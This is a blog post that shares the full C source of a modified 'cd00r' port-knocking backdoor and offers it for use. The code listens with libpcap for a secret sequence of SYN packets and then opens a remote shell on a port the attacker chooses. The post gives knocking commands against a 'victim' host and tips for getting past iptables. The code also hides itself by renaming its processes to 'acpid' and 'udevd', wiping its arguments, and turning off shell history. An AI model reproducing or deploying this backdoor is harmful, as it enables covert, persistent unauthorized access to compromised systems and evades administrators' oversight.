Skip to content

cD00r Knocking backdoor (improved)

by foip on March 31st, 2011

1. Introduction

Standard backdoors and remote access services have one major drawback: The port’s they are listening on are visible on the system console as well as from outside (through port scanning).

One of my favorite backdoor is called cd00r (from phenoelit.de). This backdoor will not listen on any port until you send a sequence of TCP SYN packets  on a defined port list, and in the correct order. Once the correct list of SYN packet is received by the compromised host, a shell will spawn on a (hard-coded) TCP port, and will wait for you. Brilliant !

In order to successfully use this backdoor, you need at least one TCP port unused and unfiltered by firewall to allow the shell to listen on the network. That port must be seen as “closed” from a port scan.

I’ve decided to improve a bit the backdoor for my self usage.  Because I’m a nice guy, I choose to share it with you.

  1. First, we will remove the hard-coded listening port and let you choose the port dynamically. How ? simply by providing the listening port at the end of the knocking ports list. So basically, you will have to send your defined list of SYN packets to the victim, and then send the port number you’d like to use for the remote shell.
  2. Secondly, we rewrote the shell part of code to use pseudo-terminal (PTY). Giving us a chance to work on more recent Linux distribution.

2. Example of usage

# t="telnet host.victim.com"
# $t 999; $t 888; $t 777 ; $t 666; $t 555; $t 12345 ; sleep 1 ; $t 12345

In red: The knocking SYN phase. We will send SYN packets on port 999, 888, 777, 666 and 555

In green: The port choose for spawning a shell on. In this case 12345

In blue: The connection to that shell (on port 12345). Note the “sleep 1” before the connection, it is simply to give extra time to the backdoor to start the shell.

3. What about Firewall ?

There is a good and a bad news here.

Regarding the knocking ports, you don’t need to use unfiltered ports on the victim host. Because the backdoor use libpcap to listen to your SYN packets, and that this listening phase occurs on layer 2 of the TCP/IP stack (data-link). The process will be able to see your packets coming even if iptables is running.

The bad news is, you still need a non-filtered and non-used port for the shell (from a port scanning view, the port must be seen as “closed“).

Another aspect that you must keep in mind is that the knocking SYN packet must be sent in the correct order and without any packet retransmission (because it will break the sequence). This is important to remember when the knocking ports are filtered (dropped) by a firewall (even they will be seen by the backdoor). Indeed, telnet (or equivalent) will resent a new SYN packet after a few seconds because no SYN-ACK are received from the host. Thus, when these ports are filtered/dropped, you just have to hit Ctrl-C after each emission during the red phase of the example showed in section 2.

4. The source code

Download: cd00r.c.gz

The only thing you must edit are the following definitions:

#define CDR_INTERFACE		"eth0"             // The interface when to listen
#define CDR_ADDRESS		"192.168.100.1"   // The ip address of the victim
#define CDR_PORTS		{ 999,888,777,666,555,00 }  // The knocking port list, must end by 00.

The only thing you could edit are the following definitions:

#define MASK_DEAMON 	"acpid"    // process name of the backdoor
#define MASK_SHELL	"udevd"    // process name of the shell (when run)

To compile the code, you need libpcap devel package (libpcap-dev) and add “-DUSE_PCAP -lpcap” to gcc. You may add “-DDEBUG” aswell for debugging purpose.

/* cdoor.c
 *
 *
 	Usage:  --pcap  (compile with "-DUSE_PCAP -lpcap")
        	--port <port> [-p]
 *
 *
 */

//#define USE_PCAP

#define PASSWORD 	"rgb"
#define BACKLOG 	5
#define SHELL 		"/bin/sh"

#define ENV_HOME 	"/tmp"
#define ENV_HISTFILE	"/dev/null"
#define ENV_PS1         "[\033[32;1m#$\033[0m] "

#define MASK_DEAMON 	"acpid"
#define MASK_SHELL	"udevd"

#ifdef USE_PCAP
// For pcap listener
#define CDR_INTERFACE		"eth0"
#define CDR_ADDRESS		"192.168.100.1"
#define CDR_PORTS		{ 999,888,777,666,555,00 }
#define CDR_CODERESET
#define CDR_SENDER_ADDR
#define CDR_NOISE_COMMAND	"noi"
#endif

/****************************************************************************
 * Nothing to change below this line (hopefully)
 ****************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <netinet/in.h>                 /* for IPPROTO_bla consts */
#include <sys/socket.h>                 /* for inet_ntoa() */
#include <arpa/inet.h>                  /* for inet_ntoa() */
#include <netdb.h>			/* for gethostbyname() */
#include <sys/types.h>			/* for wait() */
#include <sys/wait.h>			/* for wait() */
#include <fcntl.h>

#include <linux/tcp.h>

//PTS
#include <sys/stropts.h>

#include <sys/resource.h>
#include <sys/utsname.h>

// For tty
#define TIOCSCTTY       0x540E
#define TIOCGWINSZ      0x5413
#define TIOCSWINSZ      0x5414
#define ECHAR   	0x1d
#define BUF     	32768

#ifdef USE_PCAP

#include <pcap.h>
//#include <pcap/bpf.h>
//#include <net/bpf.h>
#define ETHLENGTH 	14
#define IP_MIN_LENGTH 	20
#define CAPLENGTH	98

struct iphdr {
        u_char  ihl:4,
        version:4;
 	u_char  tos;
        short   tot_len;
        u_short id;
	short   off;
        u_char  ttl;
        u_char  protocol;
        u_short check;
        struct  in_addr saddr;
	struct  in_addr daddr;
};

/*
struct tcphdr {
        unsigned short int 	src_port;
	unsigned short int 	dest_port;
        unsigned long int 	seq_num;
        unsigned long int 	ack_num;
	unsigned short int	rawflags;
        unsigned short int 	window;
        long int 		crc_a_urgent;
        long int 		options_a_padding;
};
*/

/* the ports which have to be called (by a TCP SYN packet), before
 * cd00r opens
 */
unsigned int 	cports[] = CDR_PORTS;
int		cportcnt = 0;
/* which is the next required port ? */
int		actport = 0;
#endif

#ifdef CDR_SENDER_ADDR
/* some times, looking at sender's address is desired.
 * If so, sender's address is saved here */
struct in_addr	sender;
#endif

struct winsize {
        unsigned short ws_row;
        unsigned short ws_col;
        unsigned short ws_xpixel;
        unsigned short ws_ypixel;
};

int open_tty_shell(int,int,int);
#ifdef USE_PCAP
void start_pcap_listener();
#endif

void show_help(char *progname){
	//printf ("Usage: --pcap  (compile with \"-DUSE_PCAP -lpcap\")\n",progname);
        //printf ("       --port <port> [-p]\n",progname);
}

int main (int argc, char *argv[]){

	int port;

#ifdef USE_PCAP
	if (argc < 2){
		show_help(argv[0]);
		exit(0);
	}
#else
        if (argc < 3){ // Need port
                show_help(argv[0]);
		exit(0);
        }
#endif

        // hidden cmd for "PS" command:
        memset(argv[0],0,strlen(argv[0]));
	strcpy(argv[0], MASK_DEAMON);

#ifdef USE_PCAP
        if(strncmp(argv[1],"--pcap",6) == 0){
		memset(argv[1],0,strlen(argv[1])); // hide arg
		start_pcap_listener(port);
	}else{
#endif
		if (strncmp(argv[1],"--port",6) == 0){
			memset(argv[1],0,strlen(argv[1])); // hide arg
			port = atoi(argv[2]); //get port
			memset(argv[2],0,strlen(argv[2])); // hide arg
			if (argc == 4 && (strncmp(argv[3],"-p",2) == 0)){ // Continue to Accept new clients ?
				memset(argv[3],0,strlen(argv[3])); // arg
				open_tty_shell(port,0,1); // Be persistent
			}else{
				open_tty_shell(port,0,0);
			}

		}else{
			show_help(argv[0]);
			exit(0);
		}
#ifdef USE_PCAP
	}
#endif

	return 0;
}

/*

int open_tty(int *tty, int *pty){

	char *slave;

	*pty = open("/dev/ptmx", O_RDWR);
     	grantpt(*pty);
     	unlockpt(*pty);
     	slave = (char*)ptsname(*pty);
#ifdef DEBUG
	printf("DEBUG: tty:%s\n",slave);
#endif
	*tty = open(slave, O_RDWR);
     	ioctl(*tty, I_PUSH, "ptem");
     	ioctl(*tty, I_PUSH, "ldterm");

        return 1;
}

*/

/*****************************************/

void    get_tty(int num, char *base, char *buf)
{
        char    series[] = "pqrstuvwxyzabcde";
        char    subs[] = "0123456789abcdef";
        int     pos = strlen(base);
        strcpy(buf, base);
        buf[pos] = series[(num >> 4) & 0xF];
        buf[pos+1] = subs[num & 0xF];
        buf[pos+2] = 0;
}

/////////////////////////////////////////////

int     open_tty(int *tty, int *pty)
{
        char    buf[512];
        int     i, fd;

        fd = open("/dev/ptmx", O_RDWR);
        close(fd);

        for (i=0; i < 256; i++) {
                get_tty(i, "/dev/pty", buf);
                *pty = open(buf, O_RDWR);
                if (*pty < 0) continue;
                get_tty(i, "/dev/tty", buf);
                *tty = open(buf, O_RDWR);
                if (*tty < 0) {
                        close(*pty);
                        continue;
                }
                return 1;
        }
        return 0;
}

/*********************************/

void sig_child(int i){
        signal(SIGCHLD, sig_child);
        waitpid(-1, NULL, WNOHANG);
}

void hangout(int i){
        kill(0, SIGHUP);
        kill(0, SIGTERM);
}

int open_tty_shell(int port, int from_pcap /* bool */ , int persistent /* bool */){

	int 	i;
        int     pid;
        struct  sockaddr_in     serv;
        struct  sockaddr_in     cli;
        int     sock;
        int     scli;
        int     slen;
	int 	optval;

        int     subshell;
        int     tty;
        int     pty;
        fd_set  fds;
        char    buf[BUF];
        char    *envp[10];
        char    *argv[10];
        char    env_home[64];
        char    env_ps1[64];
        char    env_histfile[64];
        char    shell_name[64];
        char    shell_arg1[32];

#ifdef DEBUG
	printf ("DEBUG: Strart open_tty_shell(port:%d,from_pcap:%d,persistent:%d)\n",port,from_pcap,persistent);
#endif

        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock < 0) {
                perror("socket");
                return 1;
        }

        bzero((char *) &serv, sizeof(serv));
        serv.sin_family = AF_INET;
        serv.sin_addr.s_addr = htonl(INADDR_ANY);
        serv.sin_port = htons(port);

	// set SO_REUSEADDR on a socket to true (1):
	optval = 1;
	setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

	if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0) {
                perror("bind");
                return 1;
        }

        if (listen(sock, 5) < 0) {
                perror("listen");
                return 1;
        }

        fflush(stdout);

    	/* go daemon */
	if(!from_pcap){
		// already done in pcap routine
    		switch (i=fork()) {
	        case -1:
#ifdef DEBUG
        	    printf("DEBUG: fork() failed\n");
#endif
	    	exit (0);
            	break;      /* not reached */
        	case 0:
            		/* I'm happy */
            		break;
        	default:
            		exit (0);
    		}
	}else{
	        setsid();
        	chdir("/");

	        pid = open("/dev/null", O_RDWR);
        	dup2(pid, 0);
	        dup2(pid, 1);
        	dup2(pid, 2);

	        close(pid);
	        signal(SIGHUP, SIG_IGN);
	        signal(SIGCHLD, sig_child);

	}

        slen = sizeof(cli);

	// Shell

        sprintf(shell_name,MASK_SHELL);
        sprintf(shell_arg1,"-i");
        argv[0] = shell_name;
        argv[1] = shell_arg1;
        argv[2] = NULL;

        /* setup enviroment */
	sprintf(env_ps1,      "PS1=%s", ENV_PS1);
        sprintf(env_home,     "HOME=%s", ENV_HOME);
        sprintf(env_histfile, "HISTFILE=%s", ENV_HISTFILE);
        envp[1] = env_home;
        envp[0] = env_ps1;
        envp[2] = env_histfile;
        envp[3] = NULL;

	do{
		scli = accept(sock, (struct sockaddr *) &cli, &slen);
		/* create new group */
                setpgid(0, 0);
	        /* open slave & master side of tty */
		if (!open_tty(&tty, &pty)) {
                	char    msg[] = "Can't fork pty, bye!\n";
	                write(scli, msg, strlen(msg));
        	        close(scli);
                	exit(0);
                }

   	        /* fork child */
               	subshell = fork();
                if (subshell == 0) {

       	                /* close master */
               	        close(pty);
                       	/* attach tty */
                        setsid()	;
       	                ioctl(tty, TIOCSCTTY);
               	        /* close local part of connection */
                       	close(scli);
                        close(sock);
       	                signal(SIGHUP, SIG_DFL);
               	        signal(SIGCHLD, SIG_DFL);
                       	dup2(tty, 0);
                        dup2(tty, 1);
       	                dup2(tty, 2);
       	                close(tty);
               	        execve("/bin/sh", argv, envp);
                }
       	       /* close slave */
               	close(tty);
		signal(SIGCHLD,SIG_IGN);

               	while (1) {
                       	/* watch tty and client side */
                        FD_ZERO(&fds);
       	                FD_SET(pty, &fds);
                        FD_SET(scli, &fds);
       	                if (select((pty > scli) ? (pty+1) : (scli+1),
                            &fds, NULL, NULL, NULL) < 0) {
#ifdef DEBUG
	                    printf("Error select\n");
#endif
			    	break;
                       	}
                        if (FD_ISSET(pty, &fds)) {
       	                        int     count;
               	                count = read(pty, buf, BUF);
                       	        if (count <= 0) break;
                                if (write(scli, buf, count) <= 0) break;
       	                }
              	        if (FD_ISSET(scli, &fds)) {
                                int     count;
       	                        unsigned        char *p, *d;
               	                d = buf;
                                count = read(scli, buf, BUF);
       	                        if (count <= 0) break;

               	                /* setup win size */
                       	        p = memchr(buf, ECHAR, count);
                                if (p) {
       	                                unsigned char   wb[5];
               	                        int     rlen = count - ((ulong) p - (ulong) buf);
                       	                struct  winsize ws;
                               	        /* wait for rest */
                                       	if (rlen > 5) rlen = 5;
                                        memcpy(wb, p, rlen);
       	                                if (rlen < 5) {
               	                                read(scli, &wb[rlen], 5 - rlen);
                                        }

       	                                /* setup window */
               	                        ws.ws_xpixel = ws.ws_ypixel = 0;
                       	                ws.ws_col = (wb[1] << 8) + wb[2];
                               	        ws.ws_row = (wb[3] << 8) + wb[4];
                                       	ioctl(pty, TIOCSWINSZ, &ws);
                                        kill(0, SIGWINCH);
       	                                /* write the rest */
               	                        write(pty, buf, (ulong) p - (ulong) buf);
                       	                rlen = ((ulong) buf + count) - ((ulong)p+5);
                               	        if (rlen > 0) write(pty, p+5, rlen);
                                } else
       	                                if (write(pty, d, count) <= 0) break;
               	        }
                } //end while(1)  (read tty)

                close(scli);
		close(pty);
		waitpid(subshell, NULL, 0);

		if(!persistent || from_pcap){
        		close(sock);
                        return 0;
		}

	} while(persistent && !from_pcap);

	close(sock);
	return 0;

}

#ifdef USE_PCAP
/* error function for pcap lib */
void capterror(pcap_t *caps, char *message) {
    pcap_perror(caps,message);
    exit (-1);
}

/* signal counter/handler */
void signal_handler(int sig) {
    /* the ugly way ... */
    _exit(0);
}

void *smalloc(size_t size) {
    void	*p;

    if ((p=malloc(size))==NULL) {
	exit(-1);
    }
    memset(p,0,size);
    return p;
}
#endif // USE_PCAP

#ifdef USE_PCAP
/* general rules in main():
 * 	- errors force an exit without comment to keep the silence
 * 	- errors in the initialization phase can be displayed by a
 * 	  command line option
 */
void start_pcap_listener (int port) {

    /* variables for the pcap functions */
#define	CDR_BPF_PORT 	"port "
#define	CDR_BPF_HOST 	"host "
#define CDR_BPF_ORCON	" or "
    char 		pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */
    pcap_t 		*cap;                       /* capture handler */
    bpf_u_int32 	network,netmask;
    struct pcap_pkthdr 	*phead;
    struct bpf_program 	cfilter;	           /* the compiled filter */
    struct iphdr 	*ip;
    struct tcphdr 	*tcp;
    u_char		*pdata;
    /* for filter compilation */
    char		*filter;
    char		portnum[6];
    char		hostip[16];
    /* command line */
    int			cdr_noise = 0;
    /* the usual int i */
    int			i;
    int 		time_to_get_listen_port=0;
    /* for resolving the CDR_ADDRESS */
#ifdef CDR_ADDRESS
    struct hostent	*hent;
#endif //CDR_ADDRESS

    /* resolve our address - if desired */
#ifdef CDR_ADDRESS
    if ((hent=gethostbyname(CDR_ADDRESS))==NULL) {
	if (cdr_noise)
	    fprintf(stderr,"gethostbyname() failed\n");
	exit (0);
    }
#endif //CDR_ADDRESS

    /* count the ports our user has #defined */
    while (cports[cportcnt++]);
    cportcnt--;
#ifdef DEBUG
    printf("%d ports used as code\n",cportcnt);
#endif //DEBUG

    /* to speed up the capture, we create an filter string to compile.
     * For this, we check if the first port is defined and create it's filter,
     * then we add the others */

    if (cports[0]) {
	memset(&portnum,0,6);
	sprintf(portnum,"%d",cports[0]);
	filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);
	strcpy(filter,CDR_BPF_PORT);
	strcat(filter,portnum);
    } else {
	if (cdr_noise)
	    fprintf(stderr,"NO port code\n");
	exit (0);
    }

    /* here, all other ports will be added to the filter string which reads
     * like this:
     * port <1> or port <2> or port <3> ...
     * see tcpdump(1)
     */

    for (i=1;i<cportcnt;i++) {
	if (cports[i]) {
	    memset(&portnum,0,6);
	    sprintf(portnum,"%d",cports[i]);
	    if ((filter=(char *)realloc(filter,
			    strlen(filter)+
			    strlen(CDR_BPF_PORT)+
			    strlen(portnum)+
			    strlen(CDR_BPF_ORCON)+1))
		    ==NULL) {
		if (cdr_noise)
		    fprintf(stderr,"realloc() failed\n");
		exit (0);
	    }
	    strcat(filter,CDR_BPF_ORCON);
	    strcat(filter,CDR_BPF_PORT);
	    strcat(filter,portnum);
	}
    }

    /* initialize the pcap 'listener' */
    if (pcap_lookupnet(CDR_INTERFACE,&network,&netmask,pcap_err)!=0) {
	if (cdr_noise)
	    fprintf(stderr,"pcap_lookupnet: %s\n",pcap_err);
	exit (0);
    }
    /* open the 'listener' */
    if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH,
		    0,	/*not in promiscuous mode*/
		    0,  /*no timeout */
		    pcap_err))==NULL) {
#ifdef DEBUG
		fprintf(stderr,"pcap_open_live: %s\n",pcap_err);
#endif
	exit (0);
    }

    /* now, compile the filter and assign it to our capture */
    if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {
	if (cdr_noise)
	    capterror(cap,"pcap_compile");
	exit (0);
    }
    if (pcap_setfilter(cap,&cfilter)!=0) {
	if (cdr_noise)
	    capterror(cap,"pcap_setfilter");
	exit (0);
    }

    /* the filter is set - let's free the base string*/
    free(filter);
    /* allocate a packet header structure */
    phead=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr));

    /* register signal handler */
//signal(SIGABRT,&signal_handler);
//signal(SIGTERM,&signal_handler);
//signal(SIGINT,&signal_handler);

    /* if we don't use DEBUG, let's be nice and close the streams */
#ifndef DEBUG
    //fclose(stdin);
    //fclose(stdout);
    //fclose(stderr);
#endif

    /* go daemon */

    switch (i=fork()) {
	case -1:
	    if (cdr_noise)
		fprintf(stderr,"fork() failed\n");
	    exit (0);
	    break;	// not reached
	case 0:
	    // I'm happy
	    break;
	default:
	    exit (0);
    }

#ifdef DEBUG
    	printf("DEBUG: deamon forked\n");
#endif

    	/* main loop */
	for(;;) {

		/* if there is no 'next' packet in time, continue loop */
		if ((pdata=(u_char *)pcap_next(cap,phead))==NULL) continue;

		/* if the packet is to small, continue loop */
		if (phead->len<=(ETHLENGTH+IP_MIN_LENGTH)) continue;

		/* make it an ip packet */
		ip=(struct iphdr *)(pdata+ETHLENGTH);

		/* if the packet is not IPv4, continue */
		if ((unsigned char)ip->version!=4) continue;

		/* make it TCP */
		tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip->ihl*4));

		/* FLAG check's - see rfc793 */

		/* if it isn't a SYN packet, continue */
		//if (!(ntohs(tcp->rawflags)&0x02)) continue;
		if (!ntohs(tcp->syn)) continue;

		/* if it is a SYN-ACK packet, continue */
		//if (ntohs(tcp->rawflags)&0x10) continue;
		if (ntohs(tcp->ack)) continue;

#ifdef CDR_ADDRESS
		/* if the address is not the one defined above, let it be */
		if (hent) {
#ifdef DEBUG
			if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) {
				printf("DEBUG: Destination address mismatch\n");
				continue;
	    		}
#else
	    		if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length))
				continue;
#endif // DEBUG
		}
#endif // CDR_ADDRESS

#ifdef DEBUG
        	printf("DEBUG: Check tcp port (%d)\n",ntohs(tcp->dest));
#endif

		if (time_to_get_listen_port){
			time_to_get_listen_port = 0;
#ifdef DEBUG
                	printf("DEBUG: Start Listener on port '%d'\n",ntohs(tcp->dest));
#endif
			// START SHELL LISTENER
			open_tty_shell(ntohs(tcp->dest),1,0);
			actport=0;
		}

		/* it is one of our ports, it is the correct destination
	 	* and it is a genuine SYN packet - let's see if it is the RIGHT
	 	* port */
		if (ntohs(tcp->dest)==cports[actport]) {
#ifdef DEBUG
	    		printf("DEBUG: Port %d is good as code part %d\n",ntohs(tcp->dest),
		    		actport);
#endif // DEBUG
#ifdef CDR_SENDER_ADDR
	    		/* check if the sender is the same */
	    		if (actport==0) {
				memcpy(&sender,&ip->saddr,4);
	    		}else{
				if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */
		    			actport=0;
#ifdef DEBUG
			    		printf("DEBUG: Sender mismatch\n");
#endif // DEBUG
			    		continue;
				}
	    		}
#endif //CDR_SENDER_ADDR

	    		/* it is the rigth port ... take the next one
	     		* or was it the last ??*/
	    		if ((++actport)==cportcnt) {

				/* BINGO ! the next port will be the port where to listen*/

#ifdef DEBUG
				printf("DEBUG: Time to wait for the listen port\n");
#endif

				// Change the pcap filter to "host 1.2.3.4"
	        		memset(&hostip,0,16);
        			sprintf(hostip,"%s",inet_ntoa(ip->saddr));
	        		filter=(char *)smalloc(strlen(CDR_BPF_HOST)+strlen(hostip)+1);
		        	strcpy(filter,CDR_BPF_HOST);
        			strcat(filter,hostip);

		    		/* now, compile the filter and assign it to our capture */
    				if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {
#ifdef DEBUG
      					capterror(cap,"pcap_compile");
#endif
		       			exit (0);
	    			}
    				if (pcap_setfilter(cap,&cfilter)!=0) {
#ifdef DEBUG
	       				capterror(cap,"pcap_setfilter");
#endif
        				exit (0);
	    			}
				free(filter);

                		// START SHELL LISTENER
				time_to_get_listen_port = 1;
				actport=0;

			} /* ups... some more to go */
		} else {
#ifdef CDR_CODERESET
	    		actport=0;
#endif
	    		continue;
		}
    	} /* end of main loop */

    	/* this is actually never reached, because the signal_handler() does the
     	* exit.
     	*/

}

#endif // USE_PCAP

1 Star2 Stars3 Stars4 Stars5 Stars (6 votes, average: 5.00 out of 5)
Loading...

© 2011 – 2013, Fun Over IP. All rights reserved.

From → Backdoor, Hacking

One Comment
  1. Good, thanks.

Leave a Reply

Note: XHTML is allowed. Your email address will never be published.

Subscribe to this comment feed via RSS

I'm stupid, please help me to solve this :-) (required) Time limit is exhausted. Please reload CAPTCHA.

© 2010-2019 Fun Over IP All Rights Reserved -- Copyright notice by Blog Copyright